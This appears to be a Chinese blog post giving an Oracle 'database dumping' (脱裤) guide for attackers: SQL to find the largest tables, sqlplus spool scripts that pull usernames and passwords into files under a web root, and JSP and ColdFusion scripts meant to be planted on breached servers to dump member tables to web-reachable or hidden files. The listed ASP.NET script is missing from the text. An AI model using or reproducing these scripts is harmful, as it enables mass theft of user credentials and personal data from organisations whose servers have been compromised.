Oracle拖库指南

目录

1 常用sql语句
2 sqlplus
3 jsp 脱裤脚本
4 Asp .net 版脱裤脚本
5 ColdFusion 版脱裤脚本
6 oracle 整表预览 jsp 脚本
7 编码
8 参考

常用sql语句

查询所有表

SELECT * FROM ALL_TABLES

查询当前用户表

select table_name from user_tables;

查询所有表按大小排序

SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES order by NUM_ROWS desc
select table_name,NUM_ROWS from user_tables order by NUM_ROWS desc

查询表前十条

select * from users where rownum < 10

分页查询 2000000 到 4000000

SELECT * FROM (SELECT e.*,ROWNUM rn FROM (select * from user ) e WHERE ROWNUM <= 4000000) WHERE rn 2000000

sqlplus
rpm 安装

http://eduunix.ccut.edu.cn/index2/database/Oracle%20Instant%20Client/oracle-instantclient-sqlplus-11.1.0.1-1.i386.rpm
http://eduunix.ccut.edu.cn/index2/database/Oracle%20Instant%20Client/oracle-instantclient-basic-11.1.0.1-1.i386.rpm
rpm -ivh oracle-instantclient-sqlplus-11.1.0.1-1.i386.rpm
rpm -ivh oracle-instantclient-basic-11.1.0.1-1.i386.rpm
配置libs
vi /etc/ld.so.conf
/usr/lib/oracle/11.1.0.1/client/lib/
连接

交互式操作

sqlplus usewr/pass@172.100.100.41:1521/orabi
@/tmp/1.sql
非交互式
sqlplus -s user/pass@172.100.100.41 @/tmp/1.sql

**1.sql

SET feedback off
SET newpage NONE
SET pagesize 50000
SET linesize 300
SET verify off
SET pagesize 0
SET term off
SET trims ON
SET heading off
SET trimspool ON
SET trimout ON
SET timing off
SET verify off
SET colsep |
spool /var/www/css/1.txt
SELECT user_name||','||password||','||DATA||','||id FROM USER WHERE rownum < 100 ;
spool off
导出CSV格式
SET feedback off
SET newpage NONE
SET pagesize 0
SET linesize 5000
SET verify off
SET term off
SET trims ON
SET heading off
SET trimspool ON
SET trimout ON
SET timing off
SET verify off
SET colsep |
spool D:\007.csv
SELECT 'id,username,password' FROM dual;
SELECT id||','||username||','||password FROM admin WHERE rownum<100;
spool off

jsp 脱裤脚本

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%

Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@172.0.0.1:1521:orabi", "admin", "admin");
File f = new File("/webapps/ROOT/css/t1.txt");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
ResultSet rs=stmt.executeQuery("select  *   from  member where  rownum > 2000000");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++)
{
bw.write(rsmd.getColumnName(i)+",");
}
while (rs.next())
{
for(int i=1;i<numberOfColumns+1;i++){

bw.write(rs.getString(i)+",");

}
bw.newLine();
bw.flush();
}





out.print(rs);

%>

ColdFusion 版脱裤脚本

<CFSET USERNAME="user">
<CFSET PASSWORD="pass">
<CFSET DATABASE="ya_db">
<CFTRY>
 <CFQUERY NAME="DATA" DATASOURCE=#DATABASE# USERNAME=#USERNAME# PASSWORD=#PASSWORD#>
    SELECT * FROM MEMBER
 </CFQUERY>
 <CFCATCH Type="Any"></CFCATCH>
</CFTRY>
<CFSAVECONTENT variable="Dump_DATA">
 <CFDUMP var="#DATA#" EXPAND="YES" FORMAT="TEXT">
</CFSAVECONTENT>
<cffile action="write" output="#Dump_DATA#" FILE="C:\\RECYCLER\\#USERNAME#_DATA.txt">

oracle 整表预览 jsp 脚本

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.io.*,java.lang.*,java.sql.*"%>
<%

Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@127.0.0.1:1521", "admin", "password");
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String html="";
File file = new File("/tmp/data.txt");
BufferedReader br = new BufferedReader(new FileReader(file));
String line;
while ((line = br.readLine()) != null) {

html=html+"<h3>"+line+":</h3><table border=1><tr>";
ResultSet rs=stmt.executeQuery("select * from "+line+" where rownum < 100");
ResultSetMetaData rsmd = rs.getMetaData();
int numberOfColumns = rsmd.getColumnCount();
for(int i=1;i<numberOfColumns+1;i++)
{
  html=html+"<th>"+rsmd.getColumnName(i)+"</th>";
}
html+="</tr>";
while (rs.next())
{

  html+="<tr>";
  for(int i=1;i<numberOfColumns+1;i++){

    html=html+"<td>"+rs.getString(i)+"</td>";


  }
  html+="</tr>";
}
  rs.close();
  html+="<tr></table>";
}
File f = new File("/tmp/info.css");
BufferedWriter bw = new BufferedWriter(new FileWriter(f));
bw.write(html);


bw.close();
br.close();
stmt.close();
conn.close();

%> 

编码问题

查询当前编码

select userenv('language') from dual;

命令行执行

export NLS_LANG="american_america.AL32UTF8"
参考

http://liuxun.org/blog/linux-xia-occi-bian-cheng/

标签: 无
返回文章列表 文章二维码
本页链接的二维码
打赏二维码